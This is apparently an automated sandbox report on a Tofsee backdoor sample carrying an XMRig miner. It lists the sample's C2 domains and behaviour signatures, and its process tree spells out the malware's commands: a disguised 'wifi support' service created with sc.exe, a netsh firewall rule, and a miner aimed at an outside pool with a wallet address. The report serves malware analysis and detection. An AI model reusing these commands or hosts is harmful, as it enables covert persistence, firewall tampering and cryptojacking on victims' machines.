Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/12/2022, 17:02

General

  • Target
    file.exe
  • Size 214KB
  • Sample221216-vj4kpsfb29
  • SHA256 6ee734c6f2b4fba1db0a951fab31491dc8769177ce7fdc6d29da8b79913dc1fa
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pajyjpon\
      2⤵
        PID:4748
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\whdizset.exe" C:\Windows\SysWOW64\pajyjpon\
        2⤵
          PID:1888
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pajyjpon binPath= "C:\Windows\SysWOW64\pajyjpon\whdizset.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pajyjpon "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pajyjpon
          2⤵
          • Launches sc.exe
          PID:1072
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3384
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 1256
          2⤵
          • Program crash
          PID:3808
      • C:\Windows\SysWOW64\pajyjpon\whdizset.exe
        C:\Windows\SysWOW64\pajyjpon\whdizset.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3432
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5088
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1020
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 516
          2⤵
          • Program crash
          PID:3600
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4972 -ip 4972
        1⤵
          PID:3380
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3432 -ip 3432
          1⤵
            PID:4304

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                whdizset.exe

                • Path C:\Users\Admin\AppData\Local\Temp\whdizset.exe
                • Size 10.5MB
                • SHA256 c7b5c6c90098101929c318d4733bf6b83d66447960dd9b239a0dd2e22e5f6b65
                • MD5 SHA1 SHA512 SSDEEP

                whdizset.exe

                • Path C:\Windows\SysWOW64\pajyjpon\whdizset.exe
                • Size 10.5MB
                • SHA256 c7b5c6c90098101929c318d4733bf6b83d66447960dd9b239a0dd2e22e5f6b65
                • MD5 SHA1 SHA512 SSDEEP

                memory/1020-172-0x0000000000700000-0x00000000007F1000-memory.dmp

                memory/1020-177-0x0000000000700000-0x00000000007F1000-memory.dmp

                memory/3432-149-0x000000000072E000-0x000000000073E000-memory.dmp

                memory/3432-150-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/4972-144-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/4972-143-0x00000000006D3000-0x00000000006E4000-memory.dmp

                memory/4972-134-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/4972-132-0x00000000006D3000-0x00000000006E4000-memory.dmp

                memory/4972-133-0x0000000002060000-0x0000000002073000-memory.dmp

                memory/5088-146-0x0000000000660000-0x0000000000675000-memory.dmp

                memory/5088-153-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/5088-156-0x0000000001BE0000-0x0000000001BE6000-memory.dmp

                memory/5088-159-0x0000000001BF0000-0x0000000001C00000-memory.dmp

                memory/5088-162-0x00000000029D0000-0x00000000029D5000-memory.dmp

                memory/5088-165-0x0000000007400000-0x000000000780B000-memory.dmp

                memory/5088-168-0x00000000029E0000-0x00000000029E7000-memory.dmp

                memory/5088-152-0x0000000000660000-0x0000000000675000-memory.dmp

                memory/5088-151-0x0000000000660000-0x0000000000675000-memory.dmp